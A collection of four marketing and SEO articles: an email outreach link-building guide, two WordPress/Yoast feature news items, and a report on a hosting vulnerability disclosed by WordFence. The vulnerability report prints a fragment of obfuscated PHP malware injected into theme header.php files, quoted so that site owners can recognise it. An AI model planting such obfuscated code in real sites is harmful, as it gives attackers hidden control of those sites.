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How to Build Links via Non-Traditional Email Outreach



How to Build Links via Non-Traditional Email Outreach

Email outreach has quite a prominent presence today.

It seems that nearly every business has heard of this link building strategy before (even though the majority get it wrong about 100% of the time).

Don’t believe me?

Then open your mailbox spam folder and read through all these email outreach gems!

For instance, look at what I got only a few hours ago:

How to Build Links via Non-Traditional Email Outreach

Am I an expert in the finance niche? Absolutely not!

It’s no surprise that such emails mostly go straight to the spam folder, but it’s astonishing how many emails never get any recipient’s attention at all.

Recently, Brian Dean teamed up with Pitchbox to analyze 12 million outreach emails, and one of their discoveries was that the average email response rate is 8.5%.

Just think about it! Less than 10% of emails get a response with the vast majority of 90% remaining unanswered.

If you don’t want your emails to add up to that pile, it’s crucial to keep mastering your outreach techniques and explore new approaches.

In this post, I want to do exactly that: show you a non-traditional email outreach approach that can guarantee the highest response rate for each email you send.

What Is Non-Traditional Email Outreach?

Email outreach is one of those activities that has to be scalable, which is impossible without templates and automation.

However, to deserve your reader’s attention, your emails must also be 100% authentic and personalized – all the things that don’t work well with automation.

So, what’s the workaround?

For me, it’s the non-traditional email outreach. This approach relies on two main components:

  • 100% original templates.
  • Using a unique brand voice.

Simply put, non-traditional outreach means using original templates that are crafted in a unique way to represent your specific business.

Not only does it guarantee a higher response rate, but it also allows your emails to stand out and create a positive attitude towards your brand.

Here are a few examples to back up my words:

G2 Starbucks/Amazon Card

The guys from G2 placed a unique spin on their brand by offering a free $10 Starbucks card in exchange for leaving a review on their site.

Do you think this idea might work well for your business?

If so, use this strategy as inspiration and adjust it for your business needs accordingly.

G2 Crowd Email Outreach

Robbie Richards’ Round-Ups

When you hear Robbie’s name, the first thing that comes to mind is an expert round-up.

I had the honor of being invited to contribute to his most recent round-up, where I shared my favorite WordPress SEO plugins along with 49 other experts.

How did Robbie pull this off?

All through email outreach.

Let’s deconstruct his approach to see exactly how it works.

To start off, Robbie reached out to well-known experts that regularly contribute to their own and external blogs:

Robbie Richards Email Outreach

As a next step, when the post goes live, Robbie asks the experts once again if they are willing to link back to it.

This approach allows him to get links faster since the experts are automatically motivated to share content to which they contributed.

All this would be impossible if the G2 and Robbie Richards started their outreach emails with

“Hi , I’ve recently read your blog post and it was amazing! Link swap?”.

But besides avoiding standard templates overused by spammers and your competitors, there are a few other steps that will empower your next outreach campaign:

  • Spend enough time during the link prospecting stage to ensure that you’re pitching your content to the right people. This might sound obvious, but the majority of marketers neglect this step and don’t really bother to double-check that their pitches will be hitting the right mailbox.
  • Find ways to establish relationships with your link prospects. Do they love coffee? Send them a Starbucks gift card. Is your company a well-known brand? Reach out to them with an offer to contribute to your blog! They’ll be honored.

Use These 3 Hacks to Get There

I know for a fact that things are much more complicated in reality. This is especially so for companies that haven’t established any solid brand awareness within their niche yet.

A common question they have is where to start so that they don’t encounter the scenario where all their outreach attempts are rejected.

In my agency, we immerse solely in email outreach link building and this has resulted in the development of our own unique approach to this process.

Hence, I would like to share with you some tried and tested tactics that will help you acquire links in a few days and sometimes even hours.

1. Start with Pitching to People That Already Trust You

The most time-consuming part of the email outreach process is establishing trust.

But you’re past that point when you’re reaching out to people who already know you, who are aware of your business and have a positive attitude towards it.

You can find those people in the following groups:

  • Your clients and users that are subscribed to your newsletter.
  • Your partners and industry friends.
  • People who have already mentioned you in their content. There’s a high chance that they’re writing for other websites, too. To find all the websites to which an author contributes, you can use BuzzSumo and search by the author’s name.
  • Your current social media followers. For instance, Followerwonk can help you quickly download a list of your company’s Twitter account followers.

2. Reach out to Those Who Have Something in Common With You

There are several ways to find and engage with people with particular interests. The system that I often use looks like this:

  • I find people through Facebook groups.
  • Research their interests on social media.
  • Engage with them through comments.

Here’s how it works in a more elaborate way.

There are plenty of closed groups on Facebook to accommodate to any interests whatsoever.

A big benefit of those groups is that they allow you to see the list of users that are members of that group even when you’re not friends with them. So, just search for groups within your niche and join them.

After this, scan for users that are part of those groups and reach out to those who are also running blogs for their company.

Use comments as an ice-breaker. Find posts that have already gained a lot of attention (in terms of engagement) and leave a comment there.

After this, you can write to users that were also leaving comments under this post and let them know that you have interacted with them before.

Finally, find out what they were sharing on their blogs or social media that you’re also a big fan of.

Cats and dogs? Horses? Or maybe burgers and craft beer?

This phase is truly time-consuming, but the results are really worth it.

3. Make Your Email a Bit Awkward

Excuse me, what?

That was my reaction when I first found out that awkward emails are super effective.

But this idea is reinforced by psychologists who confirm that awkward or clumsy behavior is a well-known conceptual move that helps them gain people’s trust much quicker.

However, email outreach doesn’t involve face-to-face communication where you can drop a pen or spill a coffee. So, how exactly can you do that?

You can do this by telling your recipient a short story of your professional failings, or purposely spell their name wrong and then fix it in the second sentence. Here’s how I did it one time:

awkward or clumsy behavior

Basically, anything that makes them feel that a real human being is reaching out works.

Another quick trick is to use custom-made GIFs about your life or even yourself. Once I used a GIF of my horse to pitch content:


Final Thoughts

Non-traditional email outreach involves putting a distinctive spin on the marketing of your business.

By using the three hacks mentioned above, which are:

  • Reaching out to people who are already familiar with your business.
  • Approaching people with common interests.
  • Making your emails slightly awkward.

…you appeal to their human side which makes getting a response much more likely.

So get out there and craft your next big outreach email!


Timeframe: Ongoing

Results detected: 4-12 months

Average emails sent per month: 40


  • Buzzstream
  • Yesware
  • Boomerang for Gmail
  • Muckrack

Benefits of email outreach:

  • Email outreach creates a rare opportunity for you to develop a personal connection with an influencer or brand to sustain and grow a long-term relationship.
  • Email outreach can increase your network not from only a linking perspective, but social media as well.

Image Credits

Featured Image: Paulo Bobita
All screenshots taken by author, May 2019

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Yoast, Google devs propose XML Sitemaps for WordPress Core



Yoast, Google devs propose XML Sitemaps for WordPress Core

The inclusion of XML Sitemaps as a WordPress Core feature has been proposed by a group of Yoast and Google team members as well as other contributors. In addition to a basic XML Sitemap, the proposal also introduces an XML Sitemaps API that would extend functionality for developers and webmasters.

The proposed XML Sitemaps structure. Image sourced from Make WordPress Core.

What it’ll include. The proposal states that XML Sitemaps will be enabled by default, allowing for indexing of the following content types:

  • Homepage
  • Posts page
  • Core post types (Pages and Posts)
  • Custom post types
  • Core taxonomies (Tags and Categories)
  • Custom taxonomies
  • Users (Authors)

It’s worth keeping in mind that your WordPress site’s automatically generated robots.txt file will also reference your sitemap index.

What it won’t include. Although the proposed feature will include the majority of WordPress content types and meet search engine minimum requirements, the initial integration will not cover image, video or news sitemaps, XML Sitemaps caching mechanisms or user-facing changes such as UI controls that exclude individual posts or pages from the sitemap.

The XML Sitemaps API. Here’s how the API will let you manipulate your XML Sitemaps:

  • Provide a custom XML Stylesheet
  • Add extra sitemaps and sitemap entries
  • Add extra attributes to sitemap entries
  • Exclude a specific post, post type, taxonomy or term from the sitemap
  • Exclude a specific author from the sitemap
  • Exclude specific authors with a specific role from the sitemap

Why we should care. Sitemaps facilitate indexing by providing web crawlers with your site’s URLs. If implemented, this might mean one less third-party plugin that brands and webmasters have to rely on for their SEO efforts. As a WordPress Core feature, we can expect wider compatibility and support than we might get from third-party solutions.

Poorly optimized plugins can also slow down your site, which can have a negative impact on your organic traffic. This default option from WordPress may not replace plugins like Yoast SEO because they often include other features in addition to XML Sitemaps, but its availability has the potential to provide us with more flexibility over which plugins we install.

About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Yoast SEO 11.4 adds FAQ structured data, UX improvements



Yoast SEO 11.4 adds FAQ structured data, UX improvements

Yoast SEO’s latest update enhances its FAQ blocks by automatically generating structured data to accompany questions and answers. The update also introduces some UX improvements and addresses issues with AMP pages when viewed in Reader mode.

How to use it. Yoast’s FAQ structured data implementation is only compatible with the WordPress block editor (also known as Gutenberg; available on versions 5.0 and newer). Webmasters can get started by selecting the FAQ block, adding a question, inputting the answer and an image (if applicable) and repeating the process for all frequently asked questions.

The Yoast FAQ block.

The corresponding FAQpage structured data will be generated in the background and added to Yoast’s structured data graph, which may help search engines identify your FAQ page and figure out how it fits into the overall scheme of your site.

A new action and filter were also introduced to make this integration more flexible. The wpseo_pre-schema_block-type_<block-type> lets you adjust the graph output based the blocks on the page and the wpseo_schema_block_<block-type> filter enables you to filter graph output on a per-block basis.

Other improvements. Yoast has also linked the SEO and readability scores in the Classic Editor and relocated the Focus keyphrase field to the top of meta box and sidebar to make it easier to find. And, they’ve resolved issues with AMP pages when viewed in Reader mode.

Why we should care. At this year’s I/O conference, Google announced support for FAQ markup, which may mean that searchers will be presented with FAQs as rich results more frequently. Being able to easily and efficiently equip our FAQ sections with structured data can yield better odds of earning prominent placement on SERPs.

For more on Yoast’s structured data implementation, check out our coverage on their 11.0 (general schema implementation), 11.1 (image and video), 11.2 (custom schema) and 11.3 (image and avatar) updates.

About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm



Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm

WordFence announced that they had discovered a vulnerability at four hosting companies. WordFence warns that while the vulnerability was patched, it’s possible sites were hacked prior to the fix.

Server settings allowed hackers to create WordPress administrator accounts from which the sites could be exploited with rogue code added to the WordPress theme.

WordFence urged site administrators to check their sites for rogue administrator accounts if they are hosted on iPage, FatCow, PowWeb, or NetFirm. All four are owned by the same company, Endurance International Group.

What Was the Server Vulnerability?

The affected servers had permission and file settings that allowed an attacker to view sensitive files. Other vulnerabilities allowed the attackers to access the database, add themselves as an administrators then take over the site.

This is how WordFence described the vulnerability:

“Four conditions existed that contributed to this vulnerability:

1. Customer files are all stored on a shared file system.

2. The full path to a user’s web root directory was public or could be guessed.

3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).

4. An attacker could cause a program running in the group www to read files in arbitrary locations.”

Sites Could be Infected

WordFence warned that there was a period of time before the vulnerability was fixed during which sites hosted on these four host providers could have been infected.

It is recommended that site owners check their user lists to make sure there are no unauthorized administrators. If your site has been affected, then there should be rogue code that was added to the theme.

Here is how WordFence described the rogue code:

“If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${“x47x4cx4fx42x41x4cx53”}[“ddx70x68zx67x64gx”]=”slx77kx77i”;${“x47x4cOx42x41Lx53”}[“cx7ax66x6dubkdox6ax78″]=”x6cx6fx63x61tx69x6fn”;${“x47x4cx4fBx41LS”}[“x67x64x64ex74x62px75fx65i”]=”x68tx6dx6c”;${“x47x4cOBx41x4cS”}[“x77ix64x68x6bvx6da”]=”x73tx72x66″;${“x47x4cx4fx42x41x4cx53”}[“x66sx75x71x79x6evw”]=”bx6fx74″;${“x47x4cOBALx53”}[“wx6cx79x63x61x76x62x71x68x6fx6cx75″]=”cacx68x65”;${“Gx4cOx42x41Lx53”}[“ryx68x72kux6b”]=”x73x63hx65x6dx65″;${“x47x4cx4fx42x41Lx53”}[“x74x6ax6bcx64ex65x69w”]=”x73lx77kx77ix32″;${“Gx4cOBAx4cS”}[“x79x65x64x73x67x6ahx69x73x67″]=”x73x6cx74lx65x69lx73″;”

Vulnerability Has Been Fixed

WordFence disclosed the vulnerability to the hosting companies before making a public announcement. The hosting companies promptly fixed the vulnerabilities.

Nevertheless, according to the guidance offered by WordFence, you may wish to check your user lists for rogue admin level accounts and review your header.php file for rogue code.

Read the entire announcement at the WordFence blog

Images by Shutterstock, Modified by Author

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